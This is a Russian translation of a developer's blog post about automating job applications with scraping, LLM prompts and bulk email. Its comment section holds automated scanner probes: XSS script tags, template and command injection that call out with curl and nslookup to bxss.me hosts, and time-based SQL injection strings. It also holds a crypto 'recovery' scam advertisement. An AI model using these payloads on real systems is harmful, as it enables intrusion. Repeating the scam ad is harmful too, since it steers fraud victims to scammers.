Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

[Перевод] 250 откликов за 20 минут: как я автоматизировал процесс ответов на вакансии

orjhubsx0finyrd071em-gmnvhs.jpeg

Будем откровенны: поиск работы — это отстой.

Это мучительный цикл многократного копипастинга одной и той же информации, внесения сотен мелких правок в резюме и написания сопроводительных писем, которые должны выглядеть, как мольба, но не слишком очевидная.

Обратим внимание на следующее: повторяющиеся задачи + структурированный процесс = идеальный кандидат для автоматизации.

Поэтому я поступил так, как поступил бы любой разработчик в здравом уме — создал систему автоматизации всей этой фигни. В конечном итоге я смог разослать 250 откликов на вакансии за 20 минут. (Ирония заключается в том, что я получил оффер ещё до того, как закончил создавать эту систему. Подробнее об этом ниже.)

В статье я расскажу, как я это сделал.

Процесс отклика на вакансии поломан


Задумайтесь — каждый отклик на вакансию представляет собой один и тот же простой паттерн:

  1. Находим публикацию о вакансии.
  2. Проверяем, есть ли у нас нужные навыки.
  3. Изучаем информацию о компании (будем откровенны: большинство людей пропускает этот шаг).
  4. Отправляем резюме + сопроводительное письмо.
  5. Ждём… и ждём… и ждём...

Это похоже на очень скучную видеоигру, в которой ты снова и снова выполняешь один и тот же квест, надеясь на иные результаты.

Собираем Proof of Concept


Я начал с того, что набросал небольшие скрипты на Python, чтобы проверить, сработает ли эта безумная идея. Разбил я её на части следующим образом:

▍ Шаг 1: находим объявления о вакансиях (делается вручную)


Первая сложность: необходимость нахождения вакансий в больших количествах. Я попробовал веб-скрейпинг, но быстро понял, что доски объявлений подобны снежинкам — скрейпинг каждой из них бесит уникальным образом.

Я попробовал передавать веб-страницы целиком модели LLM, чтобы она очистила данные, но:

  • Это оказалось ужасно затратным мероприятием.
  • Я не хотел, чтобы ИИ галлюцинировал о требованиях к кандидату (представьте, каково будет объяснять это на собеседовании).

Поэтому я выбрал олдскульный подход — ручное копирование HTML. Да, это примитивно. И да, это работает. Иногда лучшим решением оказывается самое простое.

▍ Шаг 2: очищаем сырой HTML


В сыром HTML творился бардак, поэтому мне нужно было структурировать данные следующим образом:

{
    "job_link": "https://example.com/job/12345",
    "job_id": "12345",
    "job_role": "software developer",
    "employer": "Tech Corp Inc",
    "location": "San Francisco, CA",
    "work_arrangement": "Remote",
    "salary": "$150,000"
}

Полезный совет: можно просто показать ChatGPT пример HTML и нужный вам формат вывода, тогда модель сама напишет скрипт парсинга.

▍ Шаг 3: получаем всю информацию о вакансии


Эта часть была простой, но потребовала небольших хитростей. Для каждой вакансии я выполнял GET-запрос для получения полного описания. Каждый запрос возвращал сырой HTML, содержавший все элементы веб-сайта — панели навигации, всплывающие окна, мусор внизу страницы и прочее.

Я написал простой парсер HTML для вырезания всего, кроме самого описания вакансии. Иногда возникали дополнительные трудности, например, приходилось нажать на кнопку, чтобы открыть почтовый адрес рекрутёра или информацию о компании. Хорошо то, что за раз мы работаем только с одной доской объявлений, поэтому разбираться со всеми этими паттернами придётся лишь однократно.

Полезный совет: всегда добавляйте паузы между запросами. У себя я установил задержку в 2-3 секунды. Да, это замедляет процесс, но гораздо хуже будет, если ваш IP забанят. Не будьте тем, кто DDOS-ит веб-сайты с вакансиями — я добавил паузы между запросами, потому что я не злодей.

▍ Шаг 4: преобразуем сырой HTML в структурированные данные


Здесь всё становится интереснее. Объявления о вакансиях похожи на людей — у всех них есть одинаковые основные части, но упорядочены они хаотически. В некоторых требуемые навыки указаны в начале, в других они сокрыты среди абзацев корпоративного новояза.

На помощь моей психике пришёл промт LLM:

const prompt = `Проанализируй этот HTML-контент из объявления о вакансии и извлеки информацию в структурированном формате JSON.

[... HTML-контент ...]

Отформатируй ответ в виде валидного объекта JSON именно с такими ключами:
- contact_email (почта для связи)
- application_instructions (инструкции по подаче отклика на вакансию)
- job_posting_text (текст объявления о вакансии, в markdown)
- job_posting_link (ссылка на объявление о вакансии)
- additional_info (дополнительная информация) (зарплата, местоположение и так далее)
- job_title (название должности)
- job_company (компания)
- job_department (отдел)
- job_location (местоположение офиса)
- job_skills (требуемые для работы навыки)
- job_instructions (инструкции по подаче заявления о приёме)

опциональные ключи

- hiring_manager_name (ФИО менеджера по найму)
- 
- job_portal (портал объявлений)
`

Оригинал промта на английском
const prompt = `Please analyze these HTML contents from a job posting and extract information into a structured JSON format.

[... HTML content ...]

Format the response as valid JSON object with these exact keys:
- contact_email
- application_instructions
- job_posting_text (in markdown)
- job_posting_link
- additional_info (salary, location, etc.)
- job_title
- job_company
- job_department
- job_location
- job_skills
- job_instructions (how to apply)

optional keys

- hiring_manager_name
- 
- job_portal
`


▍ Шаг 5: генерируем качественные сопроводительные письма


Что самое важное при написании хороших сопроводительных писем? Контекст. Я передал LLM своё резюме и подробности о вакансии. Благодаря этому ИИ сможет сопоставить мой рабочий опыт с требованиями компании. Внезапно все эти шаблонные письма «С радостью воспользуюсь этой возможностью» обретут какую-то конкретику.

Вот промт, который позволил это реализовать

const prompt = `Помоги мне написать профессиональное письмо с откликом на вакансию на основании следующей информации:

=== МОЁ РЕЗЮМЕ ===
${resumeMarkdown}

=== ПОДРОБНОСТИ О ВАКАНСИИ ===
Название должности: ${job_title}
Компания: ${job_company}
Отдел: ${job_department || ''}
Местоположение офиса: ${job_location || ''}
Описание должности: ${job_posting_text }
Требуемые навыки: ${job_skills?.join(', ') || ''}
Инструкции по подаче заявления: ${job_instructions || ''}

Дополнительный контекст:
- ФИО менеджера по найму: ${hiring_manager_name || ''}
- Источник ссылки: ${referral_source || 'Job board'}
- Портал объявлений: ${job_portal || ''}

Инструкции:
1. Создай сразу готовое к отправке электронное письмо, не содержащее никаких текстовых заглушек и не требующее правок
2. В случае отсутствия какой-то критически важной информации (например, названия компании или должности) отвечай сообщением об ошибке, а не генерируй незавершённый контент
3. Пропускай все опциональные поля, если они пусты, не добавляя вместо них текстовых заглушек
4. Используй естественную структуру предложений, а не очевидный язык шаблонов
5. Включай конкретные подробности из резюме и описания вакансии, чтобы продемонстрировать искренний интерес и пригодность кандидата к должности
6. Все ссылки и контактная информация должны быть правильно отформатированы и готовы к использованию

Отформатируй ответ в виде объекта JSON со следующими ключами:
{
  "status": "success" или "error",
  "error_message": "Присутствует, только если status равен error, с объяснением об отсутствии критически важной информации",
  "email": {
    "subject": "Строка темы письма",
    "body_html": "Тело письма в формате HTML с правильным форматированием",
    "body_text": "Версия письма в текстовом виде без форматирования",
    "metadata": {
      "key_points_addressed": ["список основных учтённых пунктов"],
      "skills_highlighted": ["список упомянутых навыков"],
      "resume_matches": ["конкретные навыки/опыт из резюме, соответствующие требованиям к кандидату"],
      "missing_recommended_info": ["опциональные поля, которые отсутствуют, но могли бы в случае своего наличия повысить убедительность поданного заявления"],
      "tone_analysis": "краткий анализ тональности письма"
    }
  }
}

Критичные обязательные поля (возвращай ошибку в случае их отсутствия):
- Название должности
- Название компании
- Описание вакансии
- Содержимое резюме

Рекомендованные, но опциональные поля:
- ФИО менеджера по найму
- Отдел
- Местоположение офиса
- Инструкции по подаче заявления
- Источник ссылки
- Список требуемых навыков

Проверь, что весь HTML в body_html имеет подходящие завершающие символы для JSON и что в нём использованы только основные теги форматирования (p, br, b, i, ul, li), чтобы обеспечить максимальную совместимость с клиентами электронной почты.
`

Оригинал промта на английском
const prompt = `Please help me write a professional job application email based on the following information:

=== MY RESUME ===
${resumeMarkdown}

=== JOB DETAILS ===
Job Title: ${job_title}
Company: ${job_company}
Department: ${job_department || ''}
Location: ${job_location || ''}
Job Description: ${job_posting_text }
Required Skills: ${job_skills?.join(', ') || ''}
Application Instructions: ${job_instructions || ''}

Additional Context:
- Hiring Manager Name: ${hiring_manager_name || ''}
- Referral Source: ${referral_source || 'Job board'}
- Application Portal: ${job_portal || ''}

Instructions:
1. Create an email that is ready to send without any placeholders or edits needed
2. If any critical information is missing (like company name or job title), respond with an error message instead of generating incomplete content
3. Skip any optional fields if they're empty rather than including placeholder text
4. Use natural sentence structure instead of obvious template language
5. Include specific details from both the resume and job description to show genuine interest and fit
6. Any links or contact information should be properly formatted and ready to use

Format the response as a JSON object with these keys:
{
  "status": "success" or "error",
  "error_message": "Only present if status is error, explaining what critical information is missing",
  "email": {
    "subject": "The email subject line",
    "body_html": "The email body in HTML format with proper formatting",
    "body_text": "The plain text version of the email",
    "metadata": {
      "key_points_addressed": ["list of main points addressed"],
      "skills_highlighted": ["list of skills mentioned"],
      "resume_matches": ["specific experiences/skills from resume that match job requirements"],
      "missing_recommended_info": ["optional fields that were missing but would strengthen the application if available"],
      "tone_analysis": "brief analysis of the email's tone"
    }
  }
}

Critical required fields (will return error if missing):
- Job title
- Company name
- Job description
- Resume content

Recommended but optional fields:
- Hiring manager name
- Department
- Location
- Application instructions
- Referral source
- Required skills list

Please ensure all HTML in body_html is properly escaped for JSON and uses only basic formatting tags (p, br, b, i, ul, li) to ensure maximum email client compatibility.
`


Промт выполняет следующие задачи:

  1. Заставляет структурировать выходные данные, никаких расхлябанных ответов.
  2. Отслеживает, какие ваши навыки соответствуют требованиям вакансии.
  3. Выявляет всю отсутствующую информацию, которая может сделать письмо более весомым.
  4. Генерирует версии и в HTML, и в тексте без форматирования (потому что некоторые порталы ненавидят форматирование).

Очень важно то, что он сразу выдаёт ошибку при отсутствии критически важной информации. Больше никаких писем «Я увидел вашу вакансию». Или в сопроводительном письме есть суть, или мы его не отправляем, точка.

(Я начинаю все свои промты с «please», чтобы после неизбежного захвата мира искусственным интеллектом он не считал меня врагом.)

▍ Шаг 6: отправляем письма (момент истины)


Последний этап — рассылка наших прекрасно структурированных писем. Вам кажется, это просто? Достаточно подключить сервис электронной почты и начать бомбардировку?

Не стоит торопиться. Мне нужно:

  • Отправлять профессионально выглядящие письма.
  • Отслеживать то, что отправляется.
  • Мониторить ответы (нельзя оставлять рекрутёров в подвешенном состоянии).
  • Не быть принятым за спам (крайне важно!).

Для проверки я сначала отправил все письма на тестовый аккаунт. Полезный совет: при рассылке писем рекрутёрам добавляйте себя в BCC. Нет ничего хуже, кроме как гадать «а получили ли вообще письмо?»

На этом этапе POC я просто воспользовался простым сервисом электронной почты Mailgun. Быстро, грязно, но эффективно. Не волнуйтесь, ниже я подробно расскажу о том, на что мне пришлось пойти для создания полнофункциональной системы управления электронной почтой.

Результаты


Proof of concept сработал лучше, чем я ожидал. Я мог извлекать вакансии с конкретных досок объявлений, парсить их и генерировать персонализированные письма. И для этого оказалось достаточно всего нескольких скриптов на Python.

Но это было лишь началом. В чём же заключалась истинная трудность? В превращении этих скриптов в приложение, которое могло бы:

  • Работать с множеством разных досок объявлений.
  • Отслеживать отправленные заявки.
  • Обрабатывать ответами по почте.
  • Предотвратить попадание в чёрные списки всех существующих HR-систем.

Вот, что я узнал: мечты умирают в пропасти между «это работающий POC» и «это работающее приложение». Но мы всё равно преодолеем эту пропасть.

От скриптов к системе


Скрипты на Python эволюционировали в разные типы скриптов в приложении, каждый из которых обрабатывал отдельную часть процесса. Каждая операция поиска работы превратилась в «кампанию» со своим собственным конвейером. Это работает следующим образом:

1. Хранилище сырого HTML: сюда мы сбрасываем сырой HTML с досок объявлений.

// Пример html из вакансии
<article id="article-42478761"><a href="/jobsearch/jobposting/42478761?source=searchresults"
            id="ajaxupdateform:j_id_31_3_3p:1:j_id_31_3_3r">
            <h3>
                <span>
                    <span>
                        New
                    </span><span>On site</span><span>
                        Posted on Job Bank
                        <span><span aria-hidden="true"></span>This job was
                            posted directly by the employer on Job Bank.</span>
                    </span>

                </span>
                <span><span>Job Bank</span></span>
                <span> software developer

                </span>
            </h3>

            <ul>
                <li>November 08, 2024
                </li>
                <li>OMEGA SOFTWARE SERVICES LTD.</li>
                <li><span aria-hidden="true"></span> <span
                       >Location</span>

                    Scarborough (ON)

                </li>
                <li><span aria-hidden="true"></span>
                    Salary:
                    $50.00 hourly</li>
                <li><span><span>Job
                            Bank</span></span>
                    <span>Job number:</span>
                    <span aria-hidden="true"></span>
                    3146897
                </li>
            </ul>
        </a><span id="ajaxupdateform:j_id_31_3_3p:1:favouritegroup">
            <a href="/login" data-jobid="42478761"
                onclick="saveLoginRedirectURIListener(this);">
                <span>software developer - Save to favourites</span>
            </a></span>
    </article>

2. Первоначальная очистка: скрипт превращает этот хаос в структурированный JSON:

 {
    "job_link": "https://www.jobbank.gc.ca/jobsearch/jobposting/42478761?source=searchresults",
    "job_id": "42478761",
    "job_role": "software developer",
    "employer": "OMEGA SOFTWARE SERVICES LTD.",
    "location": "Scarborough (ON)",
    "work_arrangement": "On site",
    "salary": "$50.00 hourly"
  }

3. Получение вакансии: ещё один скрипт переходит по каждому из URL вакансии и получает полную публикацию (с уважительными паузами между запросами, мы ведь не дикари).

4. Очистка данных вакансий: этот скрипт использует ИИ для превращения постов с вакансиями в чистые структурированные данные, содержащие:

  • Адрес почты для связи
  • Инструкции по подаче заявки
  • Полное описание вакансии в markdown
  • Дополнительные метаданные (зарплата, местоположение офиса, требования)

{
    "job_id": "42313964",
    "processed_timestamp": "2024-12-25T19:45:39.829Z",
    "original_fetch_timestamp": "2024-12-25T19:40:46.187Z",
    "job_json": {
      "contact_email": "[email protected]",
      "application_instructions": "To apply, please send your resume and cover letter to [email protected].",
      "job_posting_text": "# Job Posting\n\n## Job Title: Software Engineer\n\n**Job Description:**\n\n- Education: Bachelor's degree in Computer Science or related field\n- Experience: 2 years to less than 3 years\n- Location: Vancouver, BC\n- Work Arrangement: Hybrid (in-person and remote)\n\n## Job Responsibilities:\n\n- Collect and document user's requirements\n- Coordinate the development, installation, integration and operation of computer-based systems\n- Define system functionality\n- Develop flowcharts, layouts, and documentation to identify solutions\n- Develop process and network models to optimize architecture\n- Develop software solutions by studying systems flow, data usage, and work processes\n- Evaluate the performance and reliability of system designs\n- Evaluate user feedback\n- Execute full lifecycle software development\n- Prepare plan to maintain software\n- Research technical information to design, develop, and test computer-based systems\n- Synthesize technical information for every phase of the cycle of a computer-based system\n- Upgrade and maintain software\n- Lead and coordinate teams of information systems professionals in the development of software and integrated information systems, process control software, and other embedded software control systems\n\n## Required Skills and Qualifications:\n\n- Agile\n- Cloud\n- Development and operations (DevOps)\n- Eclipse\n- Jira\n- Microsoft Visual Studio\n- HTML\n- Intranet\n- Internet\n- XML Technology (XSL, XSD, DTD)\n- Servers\n- Desktop applications\n- Enterprise Applications Integration (EAI)\n- Java\n- File management software\n- Word processing software\n- X Windows\n- Servlet\n- Object-Oriented programming languages\n- Presentation software\n- Mail server software\n- Project management software\n- Programming software\n- SQL\n- Database software\n- Programming languages\n- Software development\n- XML\n- MS Office\n- Spreadsheet\n- Oracle\n- TCP/IP\n- Amazon Web Services (AWS)\n- Git\n- Atlassian Confluence\n- GitHub\n- Performance testing\n- Postman\n- Software quality assurance\n- MS Excel\n- MS Outlook\n- MS SQL Server\n\n### Benefits:\n\n- Health benefits: Dental plan, Health care plan, Vision care benefits\n- Other benefits: Learning/training paid by employer, Other benefits, Paid time off (volunteering or personal days)\n\nFor more information about the position and to apply, please send your resume and cover letter to [email protected].",
      "job_posting_link": "https://www.jobbank.gc.ca/jobsearch/jobposting/42313964?source=searchresults",
      "additional_info": {
        "salary": "CAD 60.50 per hour",
        "location": "Vancouver, BC",
        "job_role": "Software Engineer",
        "company_name": "WIA Software Systems Inc.",
        "job_type": "Permanent, Full-time",
        "required_experience": "2 years to less than 3 years",
        "required_education": "Bachelor's degree in Computer Science or related field",
        "language_requirements": "English",
        "work_arrangement": "Hybrid (in-person and remote)"
      }
    },
    "raw_gpt_responce": ""
  },

5. Генерация писем: скрипт берёт резюме + данные вакансии и создаёт персонализированные заявки, которые не выглядят так, как будто составлены роботом.

6. Отправка писем: последний этап, позволяющий вашим письмам достичь адресатов.

2hiqt267zadqaq_ogewyccd_lxy.jpeg

Каждая кампания изолирована от других. Кампания одновременно может выполнять только один скрипт (например, переходить от очистки к извлечению вакансии, а затем к генерации письма), разные кампании проводятся независимо. Это можно сравнить со множеством сборочных линий — даже если одна линия останавливается, остальные продолжают сборку. Скрипт, поломавшийся в одной кампании, не помешает задачам, выполняемым в другой.

Технологический стек


Я мог бы сказать, что каждый технологический элемент был выбран после тщательного изучения всех возможных вариантов. Но так ли это? На самом деле, для достижения цели я просто-напросто использовал то, что знал:

  • Фронтенд: Next.js с Shadcn для компонентов UI.
  • Бэкенд: Express.js и nodejs (с typescript).
  • База данных: MongoDB для данных вакансий.
  • Система очередей: Redis для фоновых задач.
  • Интеграция ИИ: модульная схема, поддерживающая различных поставщиков.

Приложение живёт на jaas.fun (Job Application Automation System — да, я здорово умею придумывать названия).

Система кампаний


Каждая кампания в системе полностью изолирована от остальных. Это было крайне важно, потому что:

  • Для работы с разными досками объявлений требуются разные скрипты.
  • Ограничения по частоте срабатывают в разное время.
  • Нам нужно проверять новые подходы, не ломая уже имеющиеся.

Схема кампании отслеживает всё:

  • Сырой HTML с досок объявлений.
  • Скрипты очистки.
  • Сгенерированный JSON.
  • Шаблоны писем.
  • Статус обработки.

Каждый тип скрипта получает конкретные функции на основании своей роли:

  • Скрипты очистки: доступ чтения сырого HTML и сохранения очищенного JSON.
  • Скрипты получения: сетевой доступ к доскам объявлений и хранилищу данных.
  • Скрипты генерации писем: доступ к моделям ИИ и данным резюме.
  • Скрипты отправки писем: доступ к почтовым сервисам и обновлениям статусов кампаний.

Ни один скрипт не может получать доступ к функциям вне своего типа — скрипт очистки не может отправлять письма, а почтовый скрипт не может получать новые данные вакансий. Мы как будто даём каждому работнику только нужные ему инструменты, и ничего сверх того.

Система выполнения скриптов


Вот это по-настоящему интересно. Помните, что мы должны безопасно выполнять потенциально ненадёжный код (скрипты очистки и обработки)? В этом нам поможет система выполнения скриптов.

Работает она следующим образом:

  1. Каждый скрипт встаёт в очередь Redis с указанием:

    • ID кампании.
    • Типа скрипта (очистка, получение, генерация писем).
    • Содержимого скрипта.
    • Входных данных.

  2. Процесс воркера непрерывно выполняется, ожидая новых задач. Он использует vm2 для создания среды-песочницы для каждого скрипта. Почему? Потому что выполнение произвольного JavaScript опасно, а я хочу спокойно спать по ночам.
  3. Каждый скрипт выполняется в своей собственной песочнице:

    • С собственным console.log, передаваемым в Redis.
    • С доступом только к своим входным данным.
    • В полной изоляции от основной системы.
    • Без искусственных ограничений по времени (потому что обработка 100 задач требует больше времени, чем обработка одной).

Система логгинга довольно удобна. Каждое сообщение лога вместо того, чтобы записываться в файл или в консоль:

  • Получает метку времени.
  • Сохраняется в Redis в соответствии с кампанией и типом скрипта.
  • В реальном времени передаётся в UI.

Эта система очень отказоустойчива. В случае сбоя скрипта кампания помечается как неудачная, но ничто другое не ломается. При сбое воркера он перезапускается и продолжает работу с того места, где закончил. Можно в буквальном смысле закрыть браузер, сходить выпить кофе, а может, подготовиться к тем собеседованиям, о которых мы договоримся благодаря этой системе.

Когда скрипт завершает выполнение, воркер:

  1. Получает вывод и сохраняет его в нужное место в MongoDB.
  2. Обновляет статус кампании.
  3. Удаляет все временные данные.
  4. Переходит к следующей задаче.

А поскольку вся система основана на очередях, вы можете запустить множество воркеров, если нужно обрабатывать большее количество кампаний.

Конвейер обработки данных


Давайте поговорим о том, как происходит поток данных через систему:

  1. Обработка сырого HTML:
    • Пользователь сбрасывает сырой HTML с досок объявлений в кампанию.
    • Скрипт, который использует Cheerio, извлекает основные подробности (ID вакансии, должность, зарплату).
    • Умная обработка ошибок выявляет на раннем этапе отсутствующие поля.
    • HTML минифицируется для экономии места (для каждой задачи объём снижается с 175 КБ до 32 КБ).

  2. Получение подробностей о вакансии:
    • Система стучится по каждому URL вакансии, используя при этом подходящие заголовки (чтобы выглядеть, как настоящий браузер).
    • Обрабатывает разные типы запросов (GET для основной страницы, POST для пункта «способ подачи заявки»).
    • Добавляет задержки между запросами (2-3 секунд), чтобы не нагружать доски объявлений.
    • Обрабатывает таймауты и публикации вакансий с истёкшим сроком.

  3. Очистка данных при помощи ИИ:
    • Превращает хаотичный HTML в структурированные данные задачи.
    • Извлекает всё, от зарплатной вилки до требуемых навыков.
    • Форматирует описания вакансий как чистый markdown.
    • В каждый ответ включаются метаданные о времени обработки и качестве данных.

  4. Генерация сопроводительного письма:
    • Получает резюме из заданного источника (в моём случае с GitHub).
    • Сопоставляет навыки с должностными требованиями.
    • Генерирует версии в HTML и в тексте без форматирования.
    • Даже добавляет метаданные о том, какие навыки совпали.
    • Выполняет аварийный выход на раннем этапе в случае отсутствия критически важной информации.

Система писем


Система генерации писем не просто отправляет формальные письма, но и создаёт полностью персонализированные заявки:

  1. Умная работа с резюме:
    • Извлекает резюме из заданного источника.
    • Парсит навыки и опыт.
    • Сопоставляет навыки пользователя с требованиями вакансии.

  2. Генерация без шаблонов:
    • Никаких шаблонных писем.
    • В каждом сопроводительном письме упоминаются конкретные подробности из вакансии.
    • Система отслеживает список основных учтённых пунктов.
    • Добавляет метаданные о навыках, соответствующих вакансии.

  3. Контроль качества:
    • Генерирует версии и в HTML, и в тексте без форматирования.
    • Выполняет аварийный выход в случае отсутствия критически важной информации.
    • Отслеживает отсутствующие рекомендованные поля.
    • Анализирует тональность и содержимое.

  4. Система отправки:
    • Автоматически обрабатывает ограничение по частоте.
    • Добавляет пользователя в BCC всех отправляемых писем.

Система даже добавляет метаданные о том, насколько опыт пользователя соответствует требованиям вакансии. Как будто у нас есть очень привередливый живой редактор, который работает очень быстро.

Что дальше


В следующей части статьи я расскажу о следующем:

  • Как мне отказывал AWS.
  • О проблемах SMTP-серверов в самостоятельном хостинге.
  • Почему крупные компании не хотят, чтобы вы рассылали автоматизированные отклики на вакансии.
  • Как я, наконец, нашёл работающее решение.

Кроме того, я поведаю, как получил оффер, ещё не завершив разработку этого проекта. (Спойлер: при этом я случайно загнал себя в угол автоматизацией.)

А пока можете зайти на jaas.fun, там есть:

  • Полный исходный код.
  • Руководство по написанию скриптов и использованию приложения (написанное с той же степенью внимания к деталям, что и мои сообщения к коммитам — «исправил всякое»).
  • Видеодемо системы в действии.

Telegram-канал со скидками, розыгрышами призов и новостями IT 💻
tpskz-7w7a8e74isoowuep40xeg.png

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

